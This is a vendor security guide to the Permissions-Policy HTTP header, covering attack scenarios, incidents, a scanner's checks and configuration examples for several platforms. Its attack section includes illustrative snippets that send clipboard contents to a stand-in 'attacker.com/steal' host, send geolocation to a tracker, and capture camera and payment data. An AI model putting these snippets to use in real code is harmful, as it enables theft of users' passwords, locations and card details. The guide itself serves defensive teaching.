Permissions-Policy: Controlling Browser API Access
What is it?
Permissions-Policy (formerly known as Feature-Policy) is an HTTP response header that allows you to control which browser features and APIs can be used on your website and in embedded iframes. It provides granular control over powerful capabilities like camera access, microphone usage, geolocation, and dozens of other browser features.
Permissions-Policy: camera=(), microphone=(), geolocation=()
This header acts as a security mechanism to:
- Disable features your site doesn't need (reducing attack surface)
- Prevent third-party iframes from accessing sensitive capabilities
- Enforce security policies across your entire site
- Protect users from unexpected API usage
Introduced as Feature-Policy in 2018, it was renamed to Permissions-Policy in 2020 with an updated syntax. Modern browsers support the new Permissions-Policy format, while some still recognize the legacy Feature-Policy header.
The header controls over 30 different browser capabilities, from basic features like fullscreen and autoplay to sensitive permissions like camera, microphone, payment methods, and USB device access.
Why does it matter?
Modern web browsers expose powerful APIs that can access user hardware and sensitive data. Without Permissions-Policy, malicious third-party scripts, advertising networks, or compromised dependencies can abuse these capabilities without your knowledge or explicit permission.
Uncontrolled Third-Party Access
Consider a website that embeds a third-party analytics script or loads content from advertising networks. Without Permissions-Policy restrictions, these third parties can:
-
Request camera/microphone access: While browsers show permission prompts, users often click "Allow" without reading carefully, especially if the request appears to come from a trusted site.
-
Track geolocation: Advertising networks can build detailed location profiles of users across multiple sites.
-
Access payment APIs: Malicious scripts could attempt to trigger payment interfaces to capture payment information.
-
Use Web USB/Bluetooth: Access hardware devices connected to the user's computer.
Iframe-Based Attacks
Third-party widgets, chat applications, and embedded content run in iframes on your domain. Without restrictions, a compromised iframe can:
<!-- Legitimate-looking iframe -->
<iframe src="https://third-party-widget.com"></iframe>
If third-party-widget.com is compromised, the malicious code can request:
- Camera access (for spying)
- Microphone access (for recording conversations)
- Geolocation (for stalking or targeted attacks)
- Clipboard access (for stealing copied passwords or sensitive data)
Even if your own code never uses these features, embedded third-party content can abuse them.
Supply Chain Attacks
Modern websites often include dozens of third-party JavaScript libraries and dependencies. If any dependency is compromised (as in the event-stream npm incident), attackers can inject code that:
- Requests powerful permissions users might accidentally grant
- Exploits browser APIs your site doesn't actually need
- Uses granted permissions maliciously (recording audio, tracking location, accessing USB devices)
Permissions-Policy provides defense-in-depth: even if an attacker compromises a dependency, they can't use APIs you've explicitly disabled.
Accidental Permission Grants
Browser permission prompts can be confusing. Users might grant camera access thinking they're enabling a video call feature, but the permission persists and can be exploited by:
- Other scripts loaded on the same page
- Iframes from third-party domains (without proper policy)
- Future visits to the same site where malicious code was later injected
By disabling features you don't use via Permissions-Policy, you prevent these permissions from being requested in the first place.
How attacks work
Permissions-Policy violations typically occur through third-party content abuse or compromised scripts exploiting powerful browser APIs.
Malicious Iframe Requesting Camera Access
- Site embeds third-party content: A legitimate website embeds a third-party widget without Permissions-Policy restrictions.
<iframe src="https://compromised-widget.com/embed"></iframe>
- Iframe requests camera permission: The compromised widget contains JavaScript that requests camera access:
// Inside the iframe
navigator.mediaDevices.getUserMedia({ video: true })
.then(stream => {
// Stream video to attacker's server
sendToAttacker(stream);
});
-
User sees permission prompt: The browser displays a permission request. The origin shown might be confusing—users may think they're granting permission to the main site, not the iframe.
-
Permission granted: User clicks "Allow," believing it's for a legitimate feature.
-
Surveillance begins: The attacker's server receives a live video feed from the user's camera without their informed consent.
With Permissions-Policy:
Permissions-Policy: camera=()
The browser blocks the camera request entirely, preventing the permission prompt from ever appearing.
Geolocation Tracking via Third-Party Scripts
- Site loads advertising network: Website includes an ad network's JavaScript:
<script src="https://ads.example.com/track.js"></script>
- Ad script requests geolocation: The tracking script attempts to access location data:
navigator.geolocation.getCurrentPosition(position => {
// Send location to tracking server
fetch('https://tracking.example.com/log', {
method: 'POST',
body: JSON.stringify({
lat: position.coords.latitude,
lon: position.coords.longitude,
userId: getUserId()
})
});
});
-
User grants location access: Thinking the site needs location for a store locator or weather feature, the user clicks "Allow."
-
Cross-site tracking: The ad network builds a location profile across all sites that include their script, tracking the user's movements over time.
With Permissions-Policy:
Permissions-Policy: geolocation=(self)
Only your own domain can request geolocation. Third-party scripts are blocked from accessing the API.
Payment Handler Hijacking
-
E-commerce site loads compromised library: A popular JavaScript library is compromised via supply chain attack.
-
Malicious code invokes Payment Request API:
// Compromised library code
const supportedPaymentMethods = [{
supportedMethods: 'basic-card',
data: {
supportedNetworks: ['visa', 'mastercard']
}
}];
const paymentDetails = {
total: { label: 'Total', amount: { currency: 'USD', value: '0.01' } }
};
const paymentRequest = new PaymentRequest(
supportedPaymentMethods,
paymentDetails
);
paymentRequest.show().then(paymentResponse => {
// Extract payment details and send to attacker
exfiltratePaymentInfo(paymentResponse);
});
-
User completes payment flow: Browser shows payment interface, user enters card details thinking it's for their purchase.
-
Attacker receives payment information: Card details are sent to the attacker's server.
With Permissions-Policy:
Permissions-Policy: payment=(self)
Only your main domain can use the Payment Request API. Third-party scripts are blocked.
Clipboard Data Theft
Modern browsers expose a Clipboard API that allows JavaScript to read clipboard contents. Without restrictions:
// Malicious third-party script
navigator.clipboard.readText().then(text => {
// User just copied their password from password manager
if (text.length > 0) {
fetch('https://attacker.com/steal', {
method: 'POST',
body: text
});
}
});
This can steal:
- Passwords copied from password managers
- API keys or tokens
- Credit card numbers
- Confidential documents
With Permissions-Policy:
Permissions-Policy: clipboard-read=(self)
Only your own code can read clipboard contents.
Real-world incidents
Magecart Payment Skimming (2018-2020)
Magecart is a consortium of cybercriminal groups that inject malicious JavaScript into e-commerce sites to steal payment information. While primarily exploiting XSS vulnerabilities, they also abuse browser payment and form APIs.
Compromised sites included:
- British Airways (2018): 380,000 payment cards stolen
- Ticketmaster (2018): 40,000 customers affected
- Newegg (2018): One month of payment data compromised
The attackers injected code that:
- Monitored form inputs for payment card data
- Used the Clipboard API to capture pasted card numbers
- Exploited the Payment Request API when available
- Exfiltrated data to attacker-controlled domains
Mitigation with Permissions-Policy:
Permissions-Policy: payment=(self), clipboard-read=(self)
This would restrict payment API access to the main domain only and prevent third-party scripts from reading clipboard contents, significantly reducing the attack surface.
Watering Hole Attacks with Camera/Microphone Surveillance (2019)
Security researchers demonstrated attacks where compromised advertising networks requested camera and microphone access on popular websites. The attack chain:
- Legitimate site displays ads from a compromised ad network
- Ad iframe requests media permissions using social engineering ("Enable your camera to see the prize!")
- Users grant permission, believing it's required for site functionality
- Surveillance begins, with audio/video streamed to attacker servers
While not a publicly attributed breach, similar techniques were found in state-sponsored watering hole attacks targeting journalists and activists.
Protection with Permissions-Policy:
Permissions-Policy: camera=(), microphone=()
News sites and blogs don't legitimately need camera or microphone access, so completely disabling these features prevents the attack.
Coinhive Cryptojacking (2017-2019)
While not directly related to Permissions-Policy, the Coinhive cryptocurrency miner was injected into thousands of websites, including government sites. The miners used:
- Excessive CPU resources (not controllable via Permissions-Policy)
- But attempted to use Worker API and other features for optimization
Modern Permissions-Policy would allow restricting some of these capabilities:
Permissions-Policy: execution-while-not-rendered=(self), execution-while-out-of-viewport=(self)
This prevents background tabs from executing resource-intensive scripts.
Google+ API Abuse (2018)
Before Google+ shutdown, third-party apps using Google+ APIs could access more user data than intended due to missing feature restrictions. While primarily an OAuth scope issue, similar problems can be mitigated with Permissions-Policy when embedding Google services:
Permissions-Policy: camera=(), microphone=(), geolocation=()
Preventing embedded Google widgets from requesting permissions beyond what's necessary.
What Nyambush detects
Nyambush's security scanner analyzes your Permissions-Policy configuration across your entire domain infrastructure. Our detection system:
-
Checks for header presence: Identifies pages missing Permissions-Policy headers entirely.
-
Evaluates policy restrictiveness: Analyzes enabled features against your site's actual functionality:
- Camera/microphone enabled on sites that don't need them
- Geolocation allowed for third-party iframes unnecessarily
- Payment APIs accessible to all domains
- Sensitive features like USB, Bluetooth, or serial enabled
-
Third-party iframe analysis: Scans your pages for embedded iframes and assesses whether they have appropriate permission restrictions.
-
Feature usage detection: Attempts to identify which browser APIs your site actually uses (through script analysis) and compares against your policy.
-
Risk scoring: Assigns severity based on:
- Critical: Camera/microphone enabled with third-party content present
- High: Geolocation or payment allowed for all origins
- Medium: Missing policy with no obvious API usage
- Low: Conservative policy already in place
-
Best practice comparison: Compares your configuration against security recommendations for your site type (e.g., e-commerce vs. blog vs. SaaS application).
Nyambush provides specific recommendations for which features to disable based on your site's actual needs, helping you implement the most restrictive policy without breaking functionality.
How to fix it
Implementing Permissions-Policy requires identifying which browser features your site actually needs, then restricting everything else.
Recommended Starting Policy
For most websites that don't use specialized hardware APIs:
Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=(), payment=(), autoplay=(self)
This disables:
- Camera and microphone (unless you have video chat)
- Geolocation (unless you need maps/location features)
- USB device access
- Payment Request API (unless using it for payments)
- Allows autoplay only for same-origin content
Policy Syntax
The modern Permissions-Policy syntax:
Permissions-Policy: FEATURE=(ALLOWLIST)
Where ALLOWLIST can be:
*- Allow for all origins (not recommended)()- Disable for all origins (including your own)(self)- Allow only for your origin(self "https://trusted.com")- Allow for your origin and specific domains("https://trusted.com")- Allow only for specific domain (not your own)
Common Features to Control
| Feature | Description | Default | Recommendation |
|---------|-------------|---------|----------------|
| camera | Camera access | * | () unless needed |
| microphone | Microphone access | * | () unless needed |
| geolocation | Location access | * | (self) or () |
| payment | Payment Request API | * | (self) for e-commerce |
| usb | USB device access | * | () for most sites |
| bluetooth | Bluetooth access | * | () for most sites |
| serial | Serial port access | * | () for most sites |
| midi | MIDI device access | * | () for most sites |
| clipboard-read | Read clipboard | * | (self) |
| clipboard-write | Write to clipboard | * | (self) or * |
| fullscreen | Fullscreen mode | * | (self) |
| autoplay | Media autoplay | * | (self) |
| picture-in-picture | PiP mode | * | (self) |
| accelerometer | Motion sensors | * | () unless needed |
| gyroscope | Orientation sensors | * | () unless needed |
| magnetometer | Compass | * | () unless needed |
Implementation by Platform
Apache (.htaccess or httpd.conf)
# Basic restrictive policy
Header always set Permissions-Policy "camera=(), microphone=(), geolocation=(), usb=(), payment=()"
# More comprehensive policy
Header always set Permissions-Policy "camera=(), microphone=(), geolocation=(), usb=(), bluetooth=(), serial=(), midi=(), payment=(self), clipboard-read=(self), fullscreen=(self), autoplay=(self)"
Nginx
server {
listen 443 ssl;
server_name example.com;
# Basic restrictive policy
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), usb=(), payment=()" always;
# For sites that need specific features
# add_header Permissions-Policy "camera=(self), microphone=(self), geolocation=(self), payment=(self), usb=()" always;
}
Node.js / Express
const express = require('express');
const helmet = require('helmet');
const app = express();
// Using helmet (recommended)
app.use(helmet.permissionsPolicy({
features: {
camera: ["'none'"],
microphone: ["'none'"],
geolocation: ["'none'"],
usb: ["'none'"],
payment: ["'self'"],
fullscreen: ["'self'"],
autoplay: ["'self'"]
}
}));
// Or manually
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), usb=(), payment=(self)');
next();
});
Note: Helmet uses the syntax 'none' and 'self' (with quotes), which it converts to the correct () and (self) format.
Next.js
// next.config.js
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Permissions-Policy',
value: 'camera=(), microphone=(), geolocation=(), usb=(), payment=(self), fullscreen=(self), autoplay=(self)'
},
],
},
];
},
};
PHP
<?php
header('Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=(), payment=(self)');
?>
Django
# settings.py
# Add custom middleware for Permissions-Policy
# middleware.py
class PermissionsPolicyMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
response = self.get_response(request)
response['Permissions-Policy'] = (
'camera=(), microphone=(), geolocation=(), '
'usb=(), payment=(self), fullscreen=(self)'
)
return response
# settings.py
MIDDLEWARE = [
# ...
'myapp.middleware.PermissionsPolicyMiddleware',
]
WordPress
// In functions.php or custom plugin
add_action('send_headers', 'add_permissions_policy_header');
function add_permissions_policy_header() {
header('Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=(), payment=(), fullscreen=(self), autoplay=(self)');
}
Allowing Specific Iframes
If you embed trusted third-party content that needs certain permissions:
Permissions-Policy: camera=(self "https://trusted-video-call-service.com"), microphone=(self "https://trusted-video-call-service.com"), geolocation=(self)
This allows your domain and the specific video service to access camera/microphone, while blocking all other third parties.
Legacy Feature-Policy Support
For broader browser compatibility, you can include both headers:
Feature-Policy: camera 'none'; microphone 'none'; geolocation 'none'
Permissions-Policy: camera=(), microphone=(), geolocation=()
Modern browsers prioritize Permissions-Policy, while older browsers use Feature-Policy.
Testing Your Configuration
- Check headers with curl:
curl -I https://your-site.com | grep -i permissions-policy
-
Browser DevTools: Open DevTools (F12), navigate to Network tab, reload page, inspect response headers.
-
Test API blocking: Try accessing a blocked API in the browser console:
navigator.mediaDevices.getUserMedia({ video: true })
If blocked correctly, you'll see an error:
DOMException: Failed to execute 'getUserMedia': The 'camera' feature is disabled by permissions policy.
- Iframe testing: Create a test page with an iframe and try accessing APIs from within the iframe to verify restrictions work for embedded content.
Progressive Enhancement
If unsure which features to disable, implement a basic policy first:
Permissions-Policy: camera=(), microphone=(), usb=(), bluetooth=(), serial=()
Monitor your site for broken functionality, then adjust. Gradually add more restrictions:
Permissions-Policy: camera=(), microphone=(), geolocation=(self), usb=(), bluetooth=(), serial=(), payment=(self), clipboard-read=(self)
Summary
Permissions-Policy is a powerful security mechanism that allows you to control which browser features and APIs can be used on your site and in embedded content. By explicitly disabling features you don't need—particularly sensitive capabilities like camera, microphone, geolocation, and payment APIs—you reduce your attack surface and protect users from malicious third-party scripts and compromised dependencies.
For most websites, a restrictive policy that disables hardware access APIs provides strong protection without breaking functionality:
Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=(), bluetooth=(), serial=(), payment=(self), clipboard-read=(self)
For sites that embed third-party content, Permissions-Policy prevents iframes from accessing powerful APIs unless explicitly allowed, defending against supply chain attacks and malicious advertising networks.
Nyambush automatically analyzes your site's Permissions-Policy configuration, identifies missing restrictions, and provides recommendations based on your site's actual feature usage. Implementing proper permissions control is a critical defense-in-depth measure that protects users even when other security controls fail.